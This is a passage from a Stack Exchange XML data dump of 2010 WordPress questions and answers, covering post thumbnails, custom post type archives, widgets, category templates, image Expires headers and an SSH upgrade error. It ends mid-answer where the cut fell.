  <row Id="1949" PostTypeId="2" ParentId="1940" CreationDate="2010-09-17T23:28:29.960" Score="1" ViewCount="" Body="&lt;p&gt;Here is the solution to my problem for anyone who is interested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Include this in your functions.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once('custom/extract-post-thumbnail.php');&#xA;    $extract_img = new extract_post_image();&#xA;    add_filter( 'post_thumbnail_html', array(&amp;amp;$extract_img, 'get_post_image'),1,5 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create a new file and name it &quot;extract-post-thumbnail.php&quot;, place it into a folder named  &quot;custom&quot; and place that within the the same directory that your themes functions.php file is located. Finally, past the code below into this file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;class extract_post_image {&#xA;    public $html;&#xA;    public $post_id;&#xA;    public $post_image_id;&#xA;    public $size;&#xA;    public $attr;&#xA;    public function extract_post_image()  {&#xA;    }&#xA;    public function get_post_image ($html,$post_id, $post_image_id, $size, $attr) {&#xA;$this-&amp;gt;html = $html;&#xA;        $this-&amp;gt;post_id = $post_id;&#xA;        $this-&amp;gt;post_image_id = $post_image_id;&#xA;        $this-&amp;gt;size = $size;&#xA;        $this-&amp;gt;attr = $attr;&#xA;    if ($this-&amp;gt;html == '') {&#xA;         $this-&amp;gt;post_image_id = $this-&amp;gt;get_post_image_id ();&#xA;         if ($this-&amp;gt;post_image_id) {&#xA;           do_action( 'begin_fetch_post_thumbnail_html', $this-&amp;gt;post_id, $this-&amp;gt;post_image_id, $this-&amp;gt;size ); &#xA;        $this-&amp;gt;html = wp_get_attachment_image( $this-&amp;gt;post_image_id, $this-&amp;gt;size, false, $this-&amp;gt;attr );&#xA;        do_action( 'end_fetch_post_thumbnail_html', $this-&amp;gt;post_id, $this-&amp;gt;post_image_id, $this-&amp;gt;size );&#xA;    } else {&#xA;        $this-&amp;gt;html = $this-&amp;gt;get_image_in_content ();&#xA;    }&#xA;    }&#xA;    return $this-&amp;gt;html;&#xA;}&#xA;public function get_post_image_id () {&#xA;    $images = get_children(&#xA;    array(&#xA;        'post_parent' =&amp;gt; $this-&amp;gt;post_id,&#xA;        'post_status' =&amp;gt; 'inherit',&#xA;        'post_type' =&amp;gt; 'attachment',&#xA;        'post_mime_type' =&amp;gt; 'image',&#xA;        'order' =&amp;gt; 'ASC',&#xA;        'orderby' =&amp;gt; 'menu_order',&#xA;        'numberposts' =&amp;gt; 1&#xA;        )&#xA;    );&#xA;    if ($images) {&#xA;        foreach ($images as $img) {&#xA;        $img_id = $img-&amp;gt;ID;&#xA;        }&#xA;        return $img-&amp;gt;ID;&#xA;        } else {&#xA;           return NULL;&#xA;        }&#xA;}&#xA;public function remote_file_exists($image) {&#xA;    if ( @file($image)) {&#xA;        return true;&#xA;    }&#xA;    return false;&#xA;}&#xA;public function get_image_in_content () {&#xA;    $my_post = get_post($this-&amp;gt;post_id);&#xA;    preg_match_all( '|&amp;lt;img.*?src=[\'&quot;](.*?)[\'&quot;].*?&amp;gt;|i', $my_post-&amp;gt;post_content, $matches );&#xA;    if ( isset( $matches ) ) {&#xA;            $image = $matches[1][0];&#xA;    if ( $matches[1][0] &amp;amp;&amp;amp; $this-&amp;gt;remote_file_exists($image) ) {&#xA;            $altpattern = '/alt=([\'&quot;])?(.*?)\\1/';&#xA;            preg_match($altpattern, $matches[0][0], $m);&#xA;            $alt = $m[2];&#xA;            $default_attr = array(&#xA;            'src'   =&amp;gt; $image,&#xA;            'class' =&amp;gt; &quot;attachment-$size&quot;,&#xA;            'alt'   =&amp;gt; $alt&#xA;        );&#xA;            $this-&amp;gt;attr = wp_parse_args($this-&amp;gt;attr, $default_attr);&#xA;        $attr = array_map( 'esc_attr', $this-&amp;gt;attr );&#xA;        $attributes = '';&#xA;        foreach ( $this-&amp;gt;attr as $name =&amp;gt; $value ) {&#xA;            $attributes .= &quot; $name=&quot; . '&quot;' . $value . '&quot;';&#xA;        }&#xA;           $imgwh = getimagesize($image);&#xA;           $imgsize = image_constrain_size_for_editor($imgwh[0], $imgwh[1], $this-&amp;gt;size);&#xA;           $wh = image_hwstring($imgsize[0], $imgsize[1]);&#xA;           $this-&amp;gt;html = ' &amp;lt;img '.$attributes.' '.$wh.' /&amp;gt;';&#xA;                return $this-&amp;gt;html;&#xA;        }&#xA;        } else {&#xA;        return NULL;&#xA;        }&#xA;}&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-09-17T23:28:29.960" CommentCount="1" />
  <row Id="1950" PostTypeId="2" ParentId="1933" CreationDate="2010-09-18T01:52:27.810" Score="0" ViewCount="" Body="&lt;p&gt;What would be your reason for doing so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short answer - no it shouldn't have an adverse effect on SEO because it will be seen as a single site by a search engine. However there are several reasons why you wouldn't want to do this including&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;SEO Reason - You won't be able to easily generate cross site sitemap files&lt;/li&gt;&#xA;&lt;li&gt;Headache Reason - You have to manage two versions of WP core, plugins, and template files&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="496" LastActivityDate="2010-09-18T01:52:27.810" />
  <row Id="1951" PostTypeId="2" ParentId="1878" CreationDate="2010-09-18T02:25:11.510" Score="4" ViewCount="" Body="&lt;p&gt;Yes, there isn't currently built-in support for CPT archives, but that doesn't mean you can't extend WP to provide it. I just did this myself the other day...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This won't create the date-based archives you're looking for, but it will give you virtual archive behavior for custom post types. Adding the date should just be a matter of tweaking the rewrite rules (actually, date-based permalinks might just work as-is)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EXAMPLE:&lt;/strong&gt; you have a custom type of &quot;movies&quot; and single movie post called &quot;gone with the wind&quot;. This code will give you a URL structure of website.com/movies/gone-with-the-wind. Also, going to website.com/movies will list just the movies (just like a category archive, though it will not call the archive.php template for output, but will format the output just like the standard index.php loop template).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_post_type_archives( $post_type, $base_path = '' ) {&#xA;    global $wp_rewrite;&#xA;    if ( !$base_path ) {&#xA;        $base_path = $post_type;&#xA;    }&#xA;    $rules = $wp_rewrite-&amp;gt;generate_rewrite_rules($base_path);&#xA;    $rules[$base_path.'/?$'] = 'index.php?paged=1';&#xA;    foreach ( $rules as $regex=&amp;gt;$redirect ) {&#xA;        if ( strpos($redirect, 'attachment=') == FALSE ) {&#xA;            $redirect .= '&amp;amp;post_type='.$post_type;&#xA;            if (  0 &amp;lt; preg_match_all('@\$([0-9])@', $redirect, $matches) ) {&#xA;                for ( $i=0 ; $i &amp;lt; count($matches[0]) ; $i++ ) {&#xA;                    $redirect = str_replace($matches[0][$i], '$matches['.$matches[1][$i].']', $redirect);&#xA;                }&#xA;            }&#xA;        }&#xA;        add_rewrite_rule($regex, $redirect, 'top');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;call this function right after having generated your custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type('movies', $args);&#xA;register_post_type_archives('movies');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, if you would like to be able to use custom templates to control the output of these quasi-archive listings, you can use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('template_redirect', 'post_type_templates');&#xA;function post_type_templates() {&#xA;    $post_type = get_query_var('post_type');&#xA;    if (!empty($post_type)) {&#xA;        locate_template(array(&quot;{$post_type}.php&quot;,&quot;index.php&quot;), true);&#xA;        die;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can create a &quot;movies.php&quot; template in your theme and customize the loop output to your liking..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; having the archive functionality for custom types is great, but I realized I needed a way to access them. You can obviously hard-code buttons somewhere that point to the slugs, but I made a function to generate a wp3.0 navbar with all my custom types in it. Right now it spawns a new navbar and makes it the primary, but you could change it to be the secondary, or to just add the items to an existing navbar. Note: the nav links will only work if you're using the rewrite rules from above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_typenav() {&#xA;    $mainnav = wp_get_nav_menu_object('Types Nav');&#xA;    if (!$mainnav) {&#xA;        $menu_id = wp_create_nav_menu( 'Types Nav' );&#xA;        // vav item for each post type&#xA;        $types = get_post_types( array( 'exclude_from_search' =&amp;gt; false ), 'objects' );&#xA;        foreach ($types as $type) {&#xA;            if (!$type-&amp;gt;_builtin) {&#xA;                wp_update_nav_menu_item( $menu_id, 0, array(&#xA;                    'menu-item-type' =&amp;gt; 'custom',&#xA;                    'menu-item-title' =&amp;gt; $type-&amp;gt;labels-&amp;gt;name,&#xA;                    'menu-item-url' =&amp;gt; get_bloginfo('url') . '/' . $type-&amp;gt;rewrite['slug'] . '/',&#xA;                    'menu-item-status' =&amp;gt; 'publish'&#xA;                    )&#xA;                );&#xA;            }&#xA;        }&#xA;    if ($mainnav &amp;amp;&amp;amp; !has_nav_menu( 'primary-menu' ) ) {&#xA;        $theme = get_current_theme();&#xA;        $mods = get_option(&quot;mods_$theme&quot;);&#xA;        $key = key($mods['nav_menu_locations']);&#xA;        $mods['nav_menu_locations'][$key] = $mainnav-&amp;gt;term_id;&#xA;        update_option(&quot;mods_$theme&quot;, $mods);&#xA;    }&#xA;}&#xA;add_action('init', 'register_typenav');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="838" LastEditorUserId="838" LastEditorDisplayName="" LastEditDate="2010-09-22T16:06:50.933" LastActivityDate="2010-09-22T16:06:50.933" CommentCount="4" />
  <row Id="1952" PostTypeId="1" AcceptedAnswerId="2027" CreationDate="2010-09-18T02:28:58.947" Score="1" ViewCount="125" Body="&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/tjqez.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I keep getting the same error, any ideas?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I have generated a key without a password using &lt;code&gt;ssh-keygen&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;I set permissions on the keys to 600&lt;/li&gt;&#xA;&lt;li&gt;I have successfully logged in using &lt;code&gt;ssh -i /root/.ssh/id_rsa 1**.**.*8.128&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;I have tried changing hostname to &lt;code&gt;localhost&lt;/code&gt; and &lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The server is running CentOS 5.4.&lt;/p&gt;&#xA;" OwnerUserId="687" LastEditorUserId="687" LastEditorDisplayName="" LastEditDate="2010-09-18T12:00:39.743" LastActivityDate="2010-09-21T00:12:43.940" Title="SSH Upgrade Problem" Tags="&lt;server&gt;&lt;upgrade&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="1953" PostTypeId="2" ParentId="1948" CreationDate="2010-09-18T02:53:51.577" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Volomike,&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you register a sidebar in your themes functions it will be active in the dashboard.  If no widgets are added to your sidebars WordPress will add the default widgets.  You can prevent WordPress from adding the default widgets by unregistering them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Remove WP default Widgets&#xA;    // WP 2.8 function using $widget_class&#xA;    if (function_exists('unregister_widget')) {&#xA;        unregister_widget('WP_Widget_Meta');&#xA;        unregister_widget('WP_Widget_Search');&#xA;        unregister_widget('');&#xA;&#xA;    // pre WP 2.8 function using $id&#xA;    } else {&#xA;        unregister_widget_control('meta');&#xA;        unregister_widget_control('search');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also preset your own widgets.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// The following code sample is from The Thematic Theme which is licensed under the GPLv2&#xA;&#xA;    register_sidebar_widget(__('Search', 'thematic'), 'widget_thematic_search', null, 'search');&#xA;    unregister_widget_control('search');&#xA;    register_sidebar_widget(__('Meta', 'thematic'), 'widget_thematic_meta', null, 'meta');&#xA;    unregister_widget_control('meta');&#xA;    register_sidebar_widget(array(__('RSS Links', 'thematic'), 'widgets'), 'widget_thematic_rsslinks');&#xA;    register_widget_control(array(__('RSS Links', 'thematic'), 'widgets'), 'widget_thematic_rsslinks_control', 300, 90);&#xA;&#xA;    // Pre-set Widgets&#xA;    $preset_widgets = array (&#xA;        'primary-aside'  =&amp;gt; array( 'search', 'pages', 'categories', 'archives' ),&#xA;        'secondary-aside'  =&amp;gt; array( 'links', 'rss-links', 'meta' )&#xA;        );&#xA;&#xA;    if ( isset( $_GET['activated'] ) ) {&#xA;        update_option( 'sidebars_widgets', apply_filters('thematic_preset_widgets',$preset_widgets ));&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/thematic&quot; rel=&quot;nofollow&quot;&gt;Themati&lt;/a&gt;c is actually a great example of all the things that can be done with widgets.  Take a look at &lt;a href=&quot;http://themes.svn.wordpress.org/thematic/0.9.7.3/library/extensions/widgets.php&quot; rel=&quot;nofollow&quot;&gt;widgets.php&lt;/a&gt; and &lt;a href=&quot;http://themes.svn.wordpress.org/thematic/0.9.7.3/library/extensions/widgets-extensions.php&quot; rel=&quot;nofollow&quot;&gt;widgets-extensions.php&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-18T02:53:51.577" CommentCount="2" />
  <row Id="1954" PostTypeId="1" CreationDate="2010-09-18T05:52:04.030" Score="4" ViewCount="151" Body="&lt;p&gt;can i replace the WYSIWYG editor with a markdown 1? if so what plugin do i use? &lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-03-13T19:37:08.820" Title="Create posts using markdown?" Tags="&lt;plugin-recommendation&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" />
  <row Id="1958" PostTypeId="2" ParentId="558" CreationDate="2010-09-18T15:31:47.387" Score="0" ViewCount="" Body="&lt;p&gt;This looks like a server configuration issue.  If it's not a path issue on your site (I agree &lt;a href=&quot;http://wordpress.stackexchange.com/questions/558/how-to-prevent-plugin-theme-installation-failures-on-wordpress/563#563&quot;&gt;with hakre&lt;/a&gt;, this is my first guess) then it could be a CHMOD problem with your folder and file permissions.  If the server running WordPress doesn't have permission to modify or edit your &lt;code&gt;wp-content/plugins&lt;/code&gt; folder, you will get multiple &quot;unable to create file&quot; errors every time.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-18T15:31:47.387" />
  <row Id="1959" PostTypeId="2" ParentId="1952" CreationDate="2010-09-18T19:46:22.510" Score="0" ViewCount="" Body="&lt;p&gt;also is php compiled with ssh support? most hosts don't come with the pecl ssh extension..&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-09-18T19:46:22.510" CommentCount="2" />
  <row Id="1960" PostTypeId="1" AcceptedAnswerId="1961" CreationDate="2010-09-18T21:16:42.183" Score="4" ViewCount="117" Body="&lt;p&gt;If you were to turn your blog into a Facebook app, what features would it have?  What would the UI look like?  What are the significant dealbreakers you'd need to satisfy to extend your blog to a social networking platform?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm marking this as a community wiki because I'm not looking for one answer, but for an array of &quot;best practices&quot; that developers should consider when taking their blog online through a social network.  One feature/UI element/dealbreaking necessity per answer please.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-04-26T06:53:49.647" CommunityOwnedDate="2010-09-18T21:16:42.183" Title="If your blog was an app on Facebook " Tags="&lt;facebook&gt;&lt;features&gt;&lt;ui&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" />
  <row Id="1961" PostTypeId="2" ParentId="1960" CreationDate="2010-09-18T23:58:02.510" Score="6" ViewCount="" Body="&lt;p&gt;My number 1 feature would be to have the ability to use WordPress to manage a fan page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would have to have the ability to use a WordPress page to create a Facebook page application tab. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Published posts would auto publish to the Facebook wall and comments would sync between WordPress and Facebook.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-18T23:58:02.510" CommunityOwnedDate="2010-09-18T23:58:02.510" CommentCount="1" />
  <row Id="1962" PostTypeId="1" AcceptedAnswerId="1963" CreationDate="2010-09-19T01:28:39.680" Score="0" ViewCount="2660" Body="&lt;p&gt;I'm using Wordpress 3.0.1 with the Twenty Ten theme.  I'm trying to change the way the posts in the Category view are displayed (i.e. by going to a url like mywebsite.com/category/mycategory).  Currently the posts in the Category view just show the first part of a post, but I'd like to change that so it shows the whole thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Category Template (category.php) file, there are a few lines of code that look like they are responsible for generating the category data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Run the loop for the category page to output the posts.&#xA; * If you want to overload this in a child theme then include a file&#xA; * called loop-category.php and that will be used instead.&#xA; */&#xA;get_template_part( 'loop', 'category' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since the comments mention setting up a child theme, I went ahead and followed &lt;a href=&quot;http://op111.net/53&quot; rel=&quot;nofollow&quot;&gt;these instructions&lt;/a&gt; (via &lt;a href=&quot;http://wordpress.stackexchange.com/questions/290/customizing-a-wordpress-theme-without-changing-it/291#291&quot;&gt;this answer&lt;/a&gt;) to set up a child theme so I could add my custom functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see from the comments that I'm supposed to create a file called loop-category.php with my custom implementation, but I don't know what code I need to put in that file.  What do I need to add to loop-category.php to get Category views to show up with full blog posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;NOTE: While I've been using Wordpress for quite a while, this is my first dive into theme customization.  Any help would be much appreciated.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="927" LastActivityDate="2011-08-12T15:13:55.177" Title="How do I make the category template display full posts instead of partial posts?" Tags="&lt;themes&gt;&lt;theme-development&gt;&lt;categories&gt;&lt;theme-twenty-ten&gt;" AnswerCount="1" />
  <row Id="1963" PostTypeId="2" ParentId="1962" CreationDate="2010-09-19T02:33:28.020" Score="5" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Ben,&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at line 132 of loop.php in Twentyten you will find the conditional statement that is telling WordPress to only display the_excerpt on category archives.  Right below that after &lt;code&gt;&amp;lt;?php else : ?&amp;gt;&lt;/code&gt; is how all posts that are not on an archive page, in the asides category or in the gallery category will be displayed.  (The asides and gallery categories are targeted at the beginning of loop.php)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_archive() || is_search() ) : // Only display excerpts for archives and search. ?&amp;gt;&#xA;            &amp;lt;div class=&quot;entry-summary&quot;&amp;gt;&#xA;                &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-summary --&amp;gt;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;                &amp;lt;?php the_content( __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&#xA;                &amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '&amp;lt;div class=&quot;page-link&quot;&amp;gt;' . __( 'Pages:', 'twentyten' ), 'after' =&amp;gt; '&amp;lt;/div&amp;gt;' ) ); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your loop-category.php file the easiest thing to do would be copy and paste the whole loop.php file and change the section of code above to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_search() ) : // Only display excerpts for archives and search. ?&amp;gt;&#xA;            &amp;lt;div class=&quot;entry-summary&quot;&amp;gt;&#xA;                &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-summary --&amp;gt;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;                &amp;lt;?php the_content( __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&#xA;                &amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '&amp;lt;div class=&quot;page-link&quot;&amp;gt;' . __( 'Pages:', 'twentyten' ), 'after' =&amp;gt; '&amp;lt;/div&amp;gt;' ) ); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will notice that we only removed &lt;code&gt;is_archive&lt;/code&gt; from the conditional statement so now category archives will displayed using the code after the else statement which contains &lt;code&gt;the_content&lt;/code&gt; as opposed to &lt;code&gt;the_excerpt&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-19T02:33:28.020" CommentCount="3" />
  <row Id="1964" PostTypeId="1" AcceptedAnswerId="1981" CreationDate="2010-09-19T06:27:23.147" Score="0" ViewCount="145" Body="&lt;p&gt;All plugins I've tried makes the page go blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Smart Archives Reloaded  &lt;/li&gt;&#xA;&lt;li&gt;Clean Archives Reloaded &lt;/li&gt;&#xA;&lt;li&gt;Better Extended Live Archives&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tal&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:39:59.403" LastActivityDate="2011-01-31T09:39:59.403" Title="What archive plugin works with W3 total cache?" Tags="&lt;plugins&gt;&lt;cache&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="1965" PostTypeId="2" ParentId="1964" CreationDate="2010-09-19T08:24:08.523" Score="0" ViewCount="" Body="&lt;p&gt;W3 Total Cache just buffers and caches whole output, it has very little interaction with other plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it work with W3 disabled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had you tried this with &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Debug&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;define('WP_DEBUG', true);&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt;&lt;/a&gt; to see if there any error messages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Common issue with archive plugins is that they run out of available memory.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-19T08:24:08.523" />
  <row Id="1966" PostTypeId="2" ParentId="1937" CreationDate="2010-09-19T11:34:36.230" Score="1" ViewCount="" Body="&lt;p&gt;I believe the following should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $content = apply_filters('the_content', $content);&#xA;  $content = str_replace(']]&amp;gt;', ']]&amp;amp;gt;', $content);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could put this in the template of in a hooked functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've cribbed this from &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_content&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/the_content&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, where the intention is to write content from &lt;code&gt;get_the_content()&lt;/code&gt; (raw) in an equivalent way to &lt;code&gt;the_content()&lt;/code&gt; (amongst other things: parsed shortcodes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="562" LastActivityDate="2010-09-19T11:34:36.230" />
  <row Id="1967" PostTypeId="2" ParentId="1845" CreationDate="2010-09-19T11:38:46.847" Score="3" ViewCount="" Body="&lt;p&gt;It's not Google Calendar, but the &lt;a href=&quot;http://wordpress.org/extend/plugins/editorial-calendar/&quot; rel=&quot;nofollow&quot;&gt;Editorial Calendar&lt;/a&gt; plugin works really nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Vin5z.png&quot; alt=&quot;Screenshot of Editorial Calendar plugin borrowed from the plugins directory&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="562" LastActivityDate="2010-09-19T11:38:46.847" CommentCount="1" />
  <row Id="1968" PostTypeId="2" ParentId="1947" CreationDate="2010-09-19T13:31:16.607" Score="2" ViewCount="" Body="&lt;p&gt;Wordpress doesn't (&lt;a href=&quot;http://core.trac.wordpress.org/ticket/13752&quot; rel=&quot;nofollow&quot;&gt;and won't&lt;/a&gt;) support this natively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative is to write your own template with a custom request. (You might even have to drop down into MySQL - I'm not sure the built in Wordpress query system will be capable of this.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out this plugin though: &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/other_notes/&quot; rel=&quot;nofollow&quot;&gt;WordPress MU Sitewide Tags Pages&lt;/a&gt; It might give you an acceptable compromise, or it might give you a starting place when coding your own approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="562" LastActivityDate="2010-09-19T13:31:16.607" CommentCount="3" />
  <row Id="1969" PostTypeId="1" AcceptedAnswerId="1970" CreationDate="2010-09-19T13:34:31.627" Score="0" ViewCount="231" Body="&lt;p&gt;I'm trying to speed up my site a bit. How can I add Expire headers to images I upload? Must this be done with Apache configuration, or is there a setting or plugin to do the job?&lt;/p&gt;&#xA;" OwnerUserId="62" LastActivityDate="2010-09-19T13:43:53.257" Title="How can I add Expire headers to images?" Tags="&lt;plugins&gt;&lt;cache&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1970" PostTypeId="2" ParentId="1969" CreationDate="2010-09-19T13:43:53.257" Score="1" ViewCount="" Body="&lt;p&gt;This can be done with Apache configuration, I have used this snippet in the past in .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExpiresActive On &#xA;ExpiresByType image/gif &quot;access plus 1 month&quot; &#xA;ExpiresByType image/png &quot;access plus 1 month&quot; &#xA;ExpiresByType image/jpeg &quot;access plus 1 month&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can be set up with plugin as well. &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt; (which I currently use) can do that among other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall this is not a huge performance factor. Modern browsers are smart enough about caching images even without expires set.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-19T13:43:53.257" />
  <row Id="1971" PostTypeId="2" ParentId="1887" CreationDate="2010-09-19T16:03:40.487" Score="3" ViewCount="" Body="&lt;p&gt;This is an interesting question. Generally, I agree with EAMann - this would be better suited in a more general discussion. Seeing as you ask it here however, I'm going to give a Wordpress specific approach you may want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the context of Wordpress, &quot;widget&quot; obviously has a specific meaning. The Wordpress sidebar widget system is highly flexible and benefits from being an established system with a large number of widgets available. This makes it a sensible place to start. You could, for example, make a template which contains multiple sidebars arranged next to each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Styling your widgets should be easy enough. To make them drag-droppable, collapsible, editable, etc. I recommend &lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/inettuts/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;, which demonstrates these techniques with jQuery UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It now gets a bit tricky. I'm assuming you want each user to be able to configure their own widgets and that these changes should be persistent. (If either of these requirements is unnecessary, it gets much easier.) This is hard - we can't use the Wordpress widget system to store these preferences, but we can go to it for inspiration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have PhpMyAdmin (or similar) 